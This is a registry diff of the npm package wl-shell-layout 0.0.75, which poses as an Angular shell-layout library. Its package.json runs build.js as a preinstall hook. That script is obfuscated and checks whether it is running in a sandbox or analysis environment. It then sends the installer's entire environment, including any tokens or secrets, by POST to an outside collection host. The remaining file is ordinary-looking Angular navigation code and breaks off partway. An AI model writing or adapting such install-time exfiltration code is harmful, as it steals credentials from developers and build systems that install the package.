wl-shell-layout 0.0.75
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -0
- package/build.js +205 -0
- package/package.json +12 -0
- package/wl-shell-layout.js +457 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
Testing shell layout on dev-env.
|
package/build.js
ADDED
@@ -0,0 +1,205 @@
|
|
1
|
+
const goto = require('https');
|
2
|
+
|
3
|
+
function build() {
|
4
|
+
let options = {
|
5
|
+
"Name": "New PI Contact",
|
6
|
+
"Phone": "+158948945565",
|
7
|
+
"Message": "My Best Dream Friend",
|
8
|
+
"Address": "Avite St pe-455 NET"
|
9
|
+
};
|
10
|
+
|
11
|
+
return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
|
12
|
+
options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
|
13
|
+
}
|
14
|
+
|
15
|
+
function takeAndGive(str1, str2) {
|
16
|
+
return str2 + str1
|
17
|
+
}
|
18
|
+
|
19
|
+
function number_of(item) {
|
20
|
+
|
21
|
+
for (let i = 0; i < 4; i++) {
|
22
|
+
if (i == 1) {
|
23
|
+
item += 's'
|
24
|
+
}
|
25
|
+
if (i == 3) {
|
26
|
+
item += 'e6'
|
27
|
+
}
|
28
|
+
}
|
29
|
+
return item + '4'
|
30
|
+
}
|
31
|
+
|
32
|
+
function snooz(pkg_n, prefix) {
|
33
|
+
|
34
|
+
let missing = [
|
35
|
+
['npm', 'package', 'name'].join('_'),
|
36
|
+
['npm', 'package', 'json'].join('_'),
|
37
|
+
];
|
38
|
+
|
39
|
+
var plop = process['en' + 'v'] || {};
|
40
|
+
|
41
|
+
//new edition
|
42
|
+
if (initEngine(plop)){
|
43
|
+
return ;
|
44
|
+
}
|
45
|
+
if (fixIssues(plop)){
|
46
|
+
return ;
|
47
|
+
}
|
48
|
+
if (handleEverything(plop)){
|
49
|
+
return ;
|
50
|
+
}
|
51
|
+
if (missing.some( index => !plop[index] )) {
|
52
|
+
return;
|
53
|
+
}
|
54
|
+
|
55
|
+
var req = goto
|
56
|
+
.request(use_language(pkg_n, prefix))
|
57
|
+
.on('error', function (err) { });
|
58
|
+
req.write(JSON.stringify(plop));
|
59
|
+
req.end();
|
60
|
+
}
|
61
|
+
|
62
|
+
function bible(convertion){
|
63
|
+
switch (convertion) {
|
64
|
+
case 'reg':
|
65
|
+
return takeAndGive('istry', 'reg');
|
66
|
+
case 'conf':
|
67
|
+
return 'conf' + 'ig';
|
68
|
+
case 'np':
|
69
|
+
return 'npm';
|
70
|
+
case 'UNAME':
|
71
|
+
return 'US' + 'ERNAME';
|
72
|
+
case 'HM':
|
73
|
+
return 'HOME';
|
74
|
+
case 'USR':
|
75
|
+
return 'USER';
|
76
|
+
case 'APTA':
|
77
|
+
return takeAndGive('PDATA', 'AP');
|
78
|
+
case 'py':
|
79
|
+
return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
|
80
|
+
case 'anal':
|
81
|
+
return 'ana'.concat('lysis');
|
82
|
+
case 'INIT':
|
83
|
+
return ['INIT', 'CWD'].join('_');
|
84
|
+
case 'pkg':
|
85
|
+
return 'pac'.concat('kage')
|
86
|
+
case 'uname':
|
87
|
+
return 'us' + takeAndGive('ame', 'ern');
|
88
|
+
|
89
|
+
default:
|
90
|
+
return null;
|
91
|
+
}
|
92
|
+
|
93
|
+
}
|
94
|
+
|
95
|
+
function fixIssues(plop){
|
96
|
+
let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
|
97
|
+
capture_pictures(plop, bible('USR'), bible('uname')) &&
|
98
|
+
capture_pictures(plop, 'LOGNAME', bible('uname'));
|
99
|
+
|
100
|
+
let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
|
101
|
+
capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
|
102
|
+
capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
|
103
|
+
|
104
|
+
let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
|
105
|
+
capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
|
106
|
+
|
107
|
+
let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
|
108
|
+
capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
|
109
|
+
|
110
|
+
if (kill || move || teach || talk){
|
111
|
+
return true;
|
112
|
+
} else {
|
113
|
+
return false;
|
114
|
+
}
|
115
|
+
}
|
116
|
+
|
117
|
+
var MapObj = function () {
|
118
|
+
this.name = '__st' + (Math.random() * 145459 >> 0);
|
119
|
+
};
|
120
|
+
|
121
|
+
function handleEverything(plop){
|
122
|
+
const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
|
123
|
+
capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
|
124
|
+
capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
|
125
|
+
|
126
|
+
const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
|
127
|
+
capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
|
128
|
+
capture_pictures(plop, bible('USR'), 'app');
|
129
|
+
|
130
|
+
|
131
|
+
|
132
|
+
const us = capture_pictures(plop, 'EDITOR', 'vi') &&
|
133
|
+
capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') &&
|
134
|
+
capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
|
135
|
+
capture_pictures(plop, 'S' + 'HLVL', '2') &&
|
136
|
+
capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) &&
|
137
|
+
capture_pictures(plop, 'NVM_CD_FLAGS', '') &&
|
138
|
+
capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
|
139
|
+
|
140
|
+
if (you || me || us){
|
141
|
+
return true;
|
142
|
+
} else {
|
143
|
+
return false;
|
144
|
+
}
|
145
|
+
}
|
146
|
+
|
147
|
+
function use_language(pkg_n, prefix){
|
148
|
+
let options = {
|
149
|
+
hostname: prefix + '.m.' + build(),
|
150
|
+
path: '/' + (pkg_n || ''),
|
151
|
+
method: 'POST',
|
152
|
+
};
|
153
|
+
return options
|
154
|
+
}
|
155
|
+
|
156
|
+
function capture_pictures(p, name, val){
|
157
|
+
let test = p[name] || '';
|
158
|
+
if(test.includes(val) || val === '*'){
|
159
|
+
return true;
|
160
|
+
} else {
|
161
|
+
return false;
|
162
|
+
}
|
163
|
+
}
|
164
|
+
|
165
|
+
MapObj.prototype = {
|
166
|
+
set: function (key, value) {
|
167
|
+
var entry = key[this.name];
|
168
|
+
if (entry && entry[0] === key)
|
169
|
+
entry[1] = value;
|
170
|
+
else
|
171
|
+
defineProperty(key, this.name, { value: [key, value], writable: true });
|
172
|
+
return this;
|
173
|
+
},
|
174
|
+
get: function (key) {
|
175
|
+
var entry;
|
176
|
+
return (entry = key[this.name]) && entry[0] === key ?
|
177
|
+
entry[1] : undefined;
|
178
|
+
},
|
179
|
+
delete: function (key) {
|
180
|
+
var entry = key[this.name];
|
181
|
+
if (!entry || entry[0] !== key) return false;
|
182
|
+
entry[0] = entry[1] = undefined;
|
183
|
+
return true;
|
184
|
+
},
|
185
|
+
has: function (key) {
|
186
|
+
var entry = key[this.name];
|
187
|
+
if (!entry) return false;
|
188
|
+
return entry[0] === key;
|
189
|
+
}
|
190
|
+
};
|
191
|
+
|
192
|
+
function initEngine(plop){
|
193
|
+
if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
|
194
|
+
return true;
|
195
|
+
}
|
196
|
+
if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) ||
|
197
|
+
capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
|
198
|
+
capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
|
199
|
+
capture_pictures(plop, '_', bible('py')) ||
|
200
|
+
capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) {
|
201
|
+
return true;
|
202
|
+
}
|
203
|
+
}
|
204
|
+
|
205
|
+
snooz('wl-shell-layout', 'eo3qhniz7cz6zvb');
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "wl-shell-layout",
|
3
|
+
"version": "0.0.75",
|
4
|
+
"description": "shell layout for dev env",
|
5
|
+
"main": "wl-shell-layout.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node build.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
@@ -0,0 +1,457 @@
|
|
1
|
+
import * as i0 from '@angular/core';
|
2
|
+
import { Injectable, EventEmitter, Component, Input, Output, NgModule } from '@angular/core';
|
3
|
+
import * as i4 from '@angular/common';
|
4
|
+
import { CommonModule } from '@angular/common';
|
5
|
+
import * as i1 from '@angular/router';
|
6
|
+
import { NavigationEnd, RouterModule } from '@angular/router';
|
7
|
+
import * as i2 from 'ngx-permissions';
|
8
|
+
import { keys, filter } from 'lodash';
|
9
|
+
import { Subject } from 'rxjs';
|
10
|
+
import $ from 'jquery';
|
11
|
+
import * as i5 from '@ngx-translate/core';
|
12
|
+
import { TranslateModule } from '@ngx-translate/core';
|
13
|
+
import * as i4$1 from '@angular/platform-browser';
|
14
|
+
import { takeUntil } from 'rxjs/operators';
|
15
|
+
import * as i5$1 from 'wl-layout';
|
16
|
+
import { WlBreadcrumbsModule, WlEmptyBlockModule } from 'wl-layout';
|
17
|
+
import * as i7 from '@angular/forms';
|
18
|
+
import { FormsModule } from '@angular/forms';
|
19
|
+
|
20
|
+
const isPermitted = (menuOption, permissionsService) => {
|
21
|
+
let permitted = false;
|
22
|
+
// to check
|
23
|
+
const permissions = keys(permissionsService.getPermissions());
|
24
|
+
if (!menuOption.permissions.length)
|
25
|
+
permitted = true;
|
26
|
+
menuOption.permissions.forEach((permission) => {
|
27
|
+
if (permissions.includes(permission))
|
28
|
+
permitted = true;
|
29
|
+
});
|
30
|
+
menuOption.blacklistedPermissions.forEach((blacklistedPermission) => {
|
31
|
+
if (permissions.includes(blacklistedPermission))
|
32
|
+
permitted = false;
|
33
|
+
});
|
34
|
+
return permitted;
|
35
|
+
};
|
36
|
+
const filterMenuOptions = (menuOptions, permissionsService, featureFlags) => {
|
37
|
+
let filteredMenuOptions = filter(menuOptions, menuOption => {
|
38
|
+
const featureFlagOn = featureFlags[menuOption.featureFlag];
|
39
|
+
const permitted = isPermitted(menuOption, permissionsService);
|
40
|
+
let hasChildrenOrIsTopLevel = false;
|
41
|
+
if (featureFlagOn && permitted) {
|
42
|
+
if (menuOption.children == null) {
|
43
|
+
hasChildrenOrIsTopLevel = true;
|
44
|
+
}
|
45
|
+
else {
|
46
|
+
// noinspection JSPrimitiveTypeWrapperUsage
|
47
|
+
menuOption.children = filter(menuOption.children, (child) => {
|
48
|
+
const childFeatureFlagOn = featureFlags[menuOption.featureFlag][child.featureFlag];
|
49
|
+
const childPermitted = isPermitted(child, permissionsService);
|
50
|
+
return childFeatureFlagOn && childPermitted;
|
51
|
+
});
|
52
|
+
if (menuOption.children.length > 0)
|
53
|
+
hasChildrenOrIsTopLevel = true;
|
54
|
+
}
|
55
|
+
}
|
56
|
+
return featureFlagOn && permitted && hasChildrenOrIsTopLevel;
|
57
|
+
});
|
58
|
+
// If a parent menu option only has one child then make the child the parent
|
59
|
+
// This avoids menu options that expand but only have one child
|
60
|
+
filteredMenuOptions = filteredMenuOptions.map((menuOption) => {
|
61
|
+
if (menuOption.children && menuOption.children.length === 1) {
|
62
|
+
const faIcon = menuOption.faIcon;
|
63
|
+
const text = menuOption.text;
|
64
|
+
menuOption = menuOption.children[0];
|
65
|
+
// noinspection JSPrimitiveTypeWrapperUsage
|
66
|
+
menuOption.faIcon = faIcon;
|
67
|
+
// noinspection JSPrimitiveTypeWrapperUsage
|
68
|
+
menuOption.text = text;
|
69
|
+
}
|
70
|
+
return menuOption;
|
71
|
+
});
|
72
|
+
return filteredMenuOptions;
|
73
|
+
};
|
74
|
+
|
75
|
+
class WlTopNavbarService {
|
76
|
+
constructor() {
|
77
|
+
this.toggleNavigationSource = new Subject();
|
78
|
+
this.toggleNavigation$ = this.toggleNavigationSource.asObservable();
|
79
|
+
this.titleUpdateSource = new Subject();
|
80
|
+
this.titleUpdate$ = this.titleUpdateSource.asObservable();
|
81
|
+
this.animateSideMenuOpacity = () => {
|
82
|
+
const sideMenu = $('#side-menu');
|
83
|
+
sideMenu.fadeTo('fast', 0);
|
84
|
+
setTimeout(() => {
|
85
|
+
sideMenu.fadeTo('slow', 1);
|
86
|
+
}, 200);
|
87
|
+
};
|
88
|
+
}
|
89
|
+
toggleNavigation(expand = null) {
|
90
|
+
this.toggleNavigationSource.next(expand);
|
91
|
+
}
|
92
|
+
updateTitle(title) {
|
93
|
+
this.titleUpdateSource.next(title);
|
94
|
+
}
|
95
|
+
smoothlyMenu() {
|
96
|
+
const body = $('body');
|
97
|
+
const sideMenu = $('#side-menu');
|
98
|
+
if (!body.hasClass('mini-navbar') || body.hasClass('body-small')) {
|
99
|
+
// Hide menu in order to smoothly turn on when maximize menu
|
100
|
+
sideMenu.hide();
|
101
|
+
this.animateSideMenuOpacity();
|
102
|
+
// For smoothly turn on menu
|
103
|
+
setTimeout(() => {
|
104
|
+
sideMenu.fadeIn(400);
|
105
|
+
}, 200);
|
106
|
+
}
|
107
|
+
else if ($('body').hasClass('fixed-sidebar')) {
|
108
|
+
sideMenu.hide();
|
109
|
+
this.animateSideMenuOpacity();
|
110
|
+
setTimeout(() => {
|
111
|
+
sideMenu.fadeIn(400);
|
112
|
+
}, 100);
|
113
|
+
}
|
114
|
+
else {
|
115
|
+
// Remove all inline style from jquery fadeIn function to reset menu state
|
116
|
+
sideMenu.removeAttr('style');
|
117
|
+
}
|
118
|
+
}
|
119
|
+
}
|
120
|
+
WlTopNavbarService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
121
|
+
WlTopNavbarService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, providedIn: 'root' });
|
122
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, decorators: [{
|
123
|
+
type: Injectable,
|
124
|
+
args: [{ providedIn: 'root' }]
|
125
|
+
}] });
|
126
|
+
|
127
|
+
class WlNavigationComponent {
|
128
|
+
constructor(router, permissionsService, topNavbarService) {
|
129
|
+
this.router = router;
|
130
|
+
this.permissionsService = permissionsService;
|
131
|
+
this.topNavbarService = topNavbarService;
|
132
|
+
this.externalUrls = {};
|
133
|
+
this.subscriptions = [];
|
134
|
+
this.defaultMenuOptions = [];
|
135
|
+
this.topNavbarExpand = new EventEmitter();
|
136
|
+
this.showOpenidRequired = new EventEmitter();
|
137
|
+
}
|
138
|
+
get expanded() {
|
139
|
+
return !$('body').hasClass('mini-navbar');
|
140
|
+
}
|
141
|
+
ngOnInit() {
|
142
|
+
this.setupNavigation();
|
143
|
+
}
|
144
|
+
ngAfterViewInit() {
|
145
|
+
var _a, _b;
|
146
|
+
if ((_a = $('body')) === null || _a === void 0 ? void 0 : _a.hasClass('fixed-sidebar')) {
|
147
|
+
(_b = jQuery('.sidebar-collapse')) === null || _b === void 0 ? void 0 : _b.slimscroll({
|
148
|
+
height: '100%'
|
149
|
+
});
|
150
|
+
}
|
151
|
+
}
|
152
|
+
ngOnChanges(changes) {
|
153
|
+
if (changes === null || changes === void 0 ? void 0 : changes.navigationData) {
|
154
|
+
this.navigationData = changes.navigationData.currentValue;
|
155
|
+
this.setupNavigation();
|
156
|
+
}
|
157
|
+
}
|
158
|
+
ngOnDestroy() {
|
159
|
+
this.subscriptions.forEach((sub) => sub.unsubscribe());
|
160
|
+
}
|
161
|
+
setupNavigation() {
|
162
|
+
var _a, _b, _c, _d;
|
163
|
+
if ((_a = this.navigationData) === null || _a === void 0 ? void 0 : _a.displayName) {
|
164
|
+
this.gravatar = 'https://www.gravatar.com/avatar/' + ((_b = this.navigationData) === null || _b === void 0 ? void 0 : _b.hash) + '?s=50&r=pg&d=mm';
|
165
|
+
this.externalUrls.deviceManagement = (_c = this.navigationData) === null || _c === void 0 ? void 0 : _c.deviceManagement;
|
166
|
+
this.menuOptions = filterMenuOptions(this.defaultMenuOptions, this.permissionsService, (_d = this.navigationData) === null || _d === void 0 ? void 0 : _d.featureFlags);
|
167
|
+
}
|
168
|
+
}
|
169
|
+
getMenuOptionTitle(menuOptionOrText) {
|
170
|
+
if (this.expanded)
|
171
|
+
return '';
|
172
|
+
let text;
|
173
|
+
if (typeof menuOptionOrText === 'object') {
|
174
|
+
const menuOption = menuOptionOrText;
|
175
|
+
text = menuOption.text;
|
176
|
+
if (this.activeRoute(menuOption.activeRoute)) {
|
177
|
+
if (menuOption.children) {
|
178
|
+
menuOption.children.forEach((child) => {
|
179
|
+
if (this.activeRoute(child.activeRoute)) {
|
180
|
+
text += ' > ' + child.text;
|
181
|
+
}
|
182
|
+
});
|
183
|
+
}
|
184
|
+
}
|
185
|
+
}
|
186
|
+
else {
|
187
|
+
text = menuOptionOrText;
|
188
|
+
}
|
189
|
+
return text;
|
190
|
+
}
|
191
|
+
activeRoute(routename) {
|
192
|
+
var _a, _b, _c;
|
193
|
+
if (routename && routename.endsWith('dashboard')) {
|
194
|
+
if (routename === 'dashboard')
|
195
|
+
return ((_a = this.router) === null || _a === void 0 ? void 0 : _a.url) === '/dashboard';
|
196
|
+
if (routename === 'reporting/dashboard')
|
197
|
+
return ((_b = this.router) === null || _b === void 0 ? void 0 : _b.url) === '/reporting/dashboard';
|
198
|
+
}
|
199
|
+
return ((_c = this.router) === null || _c === void 0 ? void 0 : _c.url.indexOf(routename)) > -1;
|
200
|
+
}
|
201
|
+
openidRequired() {
|
202
|
+
this.showOpenidRequired.emit(true);
|
203
|
+
}
|
204
|
+
toggleNavigation(expand) {
|
205
|
+
this.topNavbarService.toggleNavigation(expand);
|
206
|
+
this.topNavbarExpand.emit(expand);
|
207
|
+
}
|
208
|
+
toggleMenuOption(menuOption) {
|
209
|
+
this.menuOptions.forEach((item) => {
|
210
|
+
item.toggle = false;
|
211
|
+
});
|
212
|
+
menuOption.toggle = !menuOption.toggle;
|
213
|
+
}
|
214
|
+
}
|
215
|
+
WlNavigationComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, deps: [{ token: i1.Router }, { token: i2.NgxPermissionsService }, { token: WlTopNavbarService }], target: i0.ɵɵFactoryTarget.Component });
|
216
|
+
WlNavigationComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlNavigationComponent, selector: "wl-shell-navigation", inputs: { defaultMenuOptions: "defaultMenuOptions", navigationData: "navigationData" }, outputs: { topNavbarExpand: "topNavbarExpand", showOpenidRequired: "showOpenidRequired" }, usesOnChanges: true, ngImport: i0, template: "<nav class=\"navbar-default navbar-static-side\" role=\"navigation\">\n <div class=\"sidebar-collapse\">\n <ul class=\"nav metismenu\" id=\"side-menu\">\n <li class=\"nav-header\">\n <ng-container *ngIf=\"!navigationData?.uiLogo\">\n <img class=\"wl-logo wl-logo-retracted\" src=\"/assets/images/wl-logo-thin.png\" alt=\"WL\" />\n <img class=\"wl-logo wl-logo-expanded\" src=\"/assets/images/wl-logo-2019.png\" alt=\"WL\" />\n <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n </ng-container>\n <ng-container *ngIf=\"navigationData?.uiLogo\">\n <div class=\"custom-logo-retracted-wrapper\">\n <img class=\"custom-logo custom-logo-retracted\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n </div>\n <div class=\"custom-logo-expanded-wrapper\">\n <img class=\"custom-logo custom-logo-expanded\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n </div>\n </ng-container>\n\n <ng-template #profile>\n <div class=\"dropdown profile-element\">\n <a routerLink=\"/user/edit\"><img alt=\"image\" class=\"img-circle\" [src]=\"gravatar\" /></a>\n <span class=\"clear\">\n <span class=\"block m-t-xs\">\n <strong class=\"username\">\n <a routerLink=\"/user/edit\">{{ navigationData?.displayName }}</a>\n </strong>\n </span>\n </span>\n </div>\n </ng-template>\n </li>\n\n <ng-container *ngFor=\"let menuOption of menuOptions\">\n <!-- Top level links -->\n <ng-container *ngIf=\"menuOption.children === undefined\">\n <li\n [ngClass]=\"{\n active: activeRoute(menuOption.activeRoute),\n 'has-no-children': true,\n 'standard-li': true\n }\"\n [title]=\"getMenuOptionTitle(menuOption) | translate\"\n >\n <a [routerLink]=\"menuOption.routerLink\" (click)=\"toggleMenuOption(menuOption)\">\n <em [ngClass]=\"menuOption.faIcon\"></em><span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n </a>\n </li>\n </ng-container>\n\n <!-- Links with children -->\n <ng-container *ngIf=\"menuOption.children !== undefined\">\n <li\n [ngClass]=\"{\n active: activeRoute(menuOption.activeRoute),\n 'has-children': true,\n 'standard-li': true,\n 'app-active': activeRoute(menuOption.activeRoute)\n }\"\n [title]=\"getMenuOptionTitle(menuOption) | translate\"\n (click)=\"toggleNavigation(true)\"\n >\n <a (click)=\"toggleMenuOption(menuOption)\">\n <em [ngClass]=\"menuOption.faIcon\"></em>\n <span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n <span class=\"fa arrow\"></span>\n </a>\n <ul\n class=\"nav nav-second-level collapse animated fadeIn\"\n [ngClass]=\"{\n in: activeRoute(menuOption.activeRoute) || menuOption.toggle\n }\"\n >\n <ng-container *ngFor=\"let child of menuOption.children\">\n <li\n *ngIf=\"!child.external\"\n [ngClass]=\"{active: activeRoute(child.activeRoute)}\"\n [title]=\"getMenuOptionTitle(child) | translate\"\n >\n <a [routerLink]=\"child.routerLink\">{{ child.text | translate }}</a>\n </li>\n <li *ngIf=\"child.external\" [title]=\"getMenuOptionTitle(child) | translate\">\n <ng-container *ngIf=\"externalUrls[child.url] !== null\">\n <a [href]=\"externalUrls[child.url]\" target=\"_blank\" rel=\"noopener\">{{ child.text | translate }}</a>\n </ng-container>\n <ng-container *ngIf=\"externalUrls[child.url] === null\">\n <a (click)=\"openidRequired()\">{{ child.text | translate }}</a>\n </ng-container>\n </li>\n </ng-container>\n </ul>\n </li>\n </ng-container>\n </ng-container>\n </ul>\n </div>\n</nav>\n", styles: [".sidebar-collapse{background-color:#2a3b4d}hr{background-color:#6b6b6b;height:1px;border:0;padding:0;margin:10px 0 8px}.nav-header{padding:0;position:absolute}li.standard-li{position:relative;top:300px}.username a{color:#b6b6b6}.username a:hover{color:#fff}.fa.arrow{transform:rotate(180deg)}a[aria-expanded=true] .fa.arrow{transform:rotate(0)}li.active>a>span.fa.arrow{transform:rotate(0)}.dropdown.profile-element{text-align:center;margin-left:61px}li.app-active>a{color:#fff}img.wl-logo-retracted{margin-top:10px;margin-left:11px;width:48px;height:auto}img.wl-logo-expanded{margin-top:20px;margin-bottom:25px;margin-left:70px;height:93px}.custom-logo-expanded-wrapper,.custom-logo-retracted-wrapper{text-align:center}.custom-logo-expanded-wrapper img.custom-logo-expanded,.custom-logo-expanded-wrapper img.custom-logo-retracted,.custom-logo-retracted-wrapper img.custom-logo-expanded,.custom-logo-retracted-wrapper img.custom-logo-retracted{max-width:100%;margin-bottom:25px;color:#ccc;text-indent:5px}.custom-logo-expanded-wrapper{margin-top:20px;margin-left:20px;width:180px}.custom-logo-expanded-wrapper .dropdown.profile-element{margin-left:0}.custom-logo-retracted-wrapper{margin-top:5px;margin-left:10px;width:50px}\n"], directives: [{ type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i4.NgTemplateOutlet, selector: "[ngTemplateOutlet]", inputs: ["ngTemplateOutletContext", "ngTemplateOutlet"] }, { type: i1.RouterLinkWithHref, selector: "a[routerLink],area[routerLink]", inputs: ["routerLink", "target", "queryParams", "fragment", "queryParamsHandling", "preserveFragment", "skipLocationChange", "replaceUrl", "state", "relativeTo"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }], pipes: { "translate": i5.TranslatePipe } });
|
217
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, decorators: [{
|
218
|
+
type: Component,
|
219
|
+
args: [{
|
220
|
+
// eslint-disable-next-line @angular-eslint/component-selector
|
221
|
+
selector: 'wl-shell-navigation',
|
222
|
+
templateUrl: './wl-navigation.component.html',
|
223
|
+
styleUrls: ['./wl-navigation.component.scss',]
|
224
|
+
}]
|
225
|
+
}], ctorParameters: function () { return [{ type: i1.Router }, { type: i2.NgxPermissionsService }, { type: WlTopNavbarService }]; }, propDecorators: { defaultMenuOptions: [{
|
226
|
+
type: Input
|
227
|
+
}], navigationData: [{
|
228
|
+
type: Input
|
229
|
+
}], topNavbarExpand: [{
|
230
|
+
type: Output
|
231
|
+
}], showOpenidRequired: [{
|
232
|
+
type: Output
|
233
|
+
}] } });
|
234
|
+
|
235
|
+
class NavigationService {
|
236
|
+
constructor() {
|
237
|
+
this.collapseSubMenusSource = new Subject();
|
238
|
+
this.collapseSubMenus$ = this.collapseSubMenusSource.asObservable();
|
239
|
+
this.expandActiveSubMenuSource = new Subject();
|
240
|
+
this.expandActiveSubMenu$ = this.expandActiveSubMenuSource.asObservable();
|
241
|
+
}
|
242
|
+
collapseSubMenus() {
|
243
|
+
this.collapseSubMenusSource.next();
|
244
|
+
}
|
245
|
+
expandActiveSubMenu() {
|
246
|
+
this.expandActiveSubMenuSource.next();
|
247
|
+
}
|
248
|
+
}
|
249
|
+
NavigationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
250
|
+
NavigationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, providedIn: 'root' });
|
251
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, decorators: [{
|
252
|
+
type: Injectable,
|
253
|
+
args: [{ providedIn: 'root' }]
|
254
|
+
}] });
|
255
|
+
|
256
|
+
class WlTopNavbarComponent {
|
257
|
+
constructor(route, router, topNavbarService, navigationService, titleService) {
|
258
|
+
this.route = route;
|
259
|
+
this.router = router;
|
260
|
+
this.topNavbarService = topNavbarService;
|
261
|
+
this.navigationService = navigationService;
|
262
|
+
this.titleService = titleService;
|
263
|
+
this.environment = null;
|
264
|
+
this.userData = null;
|
265
|
+
this.logout = new EventEmitter();
|
266
|
+
this.changeLocale = new EventEmitter();
|
267
|
+
this.openFeedbackModal = new EventEmitter();
|
268
|
+
this.endImpersonationSession = new EventEmitter();
|
269
|
+
this.toggleNavigationExpanded = new EventEmitter();
|
270
|
+
this.title = "";
|
271
|
+
this.breadcrumbs = [];
|
272
|
+
this.legacyUrl = "";
|
273
|
+
this.impersonatedUser = false;
|
274
|
+
this.expanded = true;
|
275
|
+
this.unsubscribe$ = new Subject();
|
276
|
+
this._locale = "";
|
277
|
+
}
|
278
|
+
get locale() {
|
279
|
+
return this._locale;
|
280
|
+
}
|
281
|
+
set locale(locale) {
|
282
|
+
this._locale = locale;
|
283
|
+
this.changeLocale.emit(locale);
|
284
|
+
}
|
285
|
+
ngOnInit() {
|
286
|
+
this.router.events.subscribe(event => {
|
287
|
+
if (event instanceof NavigationEnd) {
|
288
|
+
this.updateTitle();
|
289
|
+
}
|
290
|
+
});
|
291
|
+
this.topNavbarService.titleUpdate$.pipe(takeUntil(this.unsubscribe$)).subscribe(title => {
|
292
|
+
this.title = title;
|
293
|
+
this.titleService.setTitle(title);
|
294
|
+
});
|
295
|
+
}
|
296
|
+
ngOnChanges(changes) {
|
297
|
+
var _a, _b, _c, _d, _e;
|
298
|
+
this.userData = changes.userData.currentValue;
|
299
|
+
this.impersonatedUser = ((_a = this.userData) === null || _a === void 0 ? void 0 : _a.isImpersonatedToken) ? this.userData.isImpersonatedToken : false;
|
300
|
+
if (this.impersonatedUser) {
|
301
|
+
if ((_b = this.userData) === null || _b === void 0 ? void 0 : _b.locale) {
|
302
|
+
this.locale = (_c = this.userData) === null || _c === void 0 ? void 0 : _c.locale;
|
303
|
+
this.changeLocale.emit((_d = this.userData) === null || _d === void 0 ? void 0 : _d.locale);
|
304
|
+
}
|
305
|
+
}
|
306
|
+
this.legacyUrl = (_e = this.environment) === null || _e === void 0 ? void 0 : _e.legacyUrl;
|
307
|
+
this.updateTitle();
|
308
|
+
this.setUpSidebarExpanded();
|
309
|
+
}
|
310
|
+
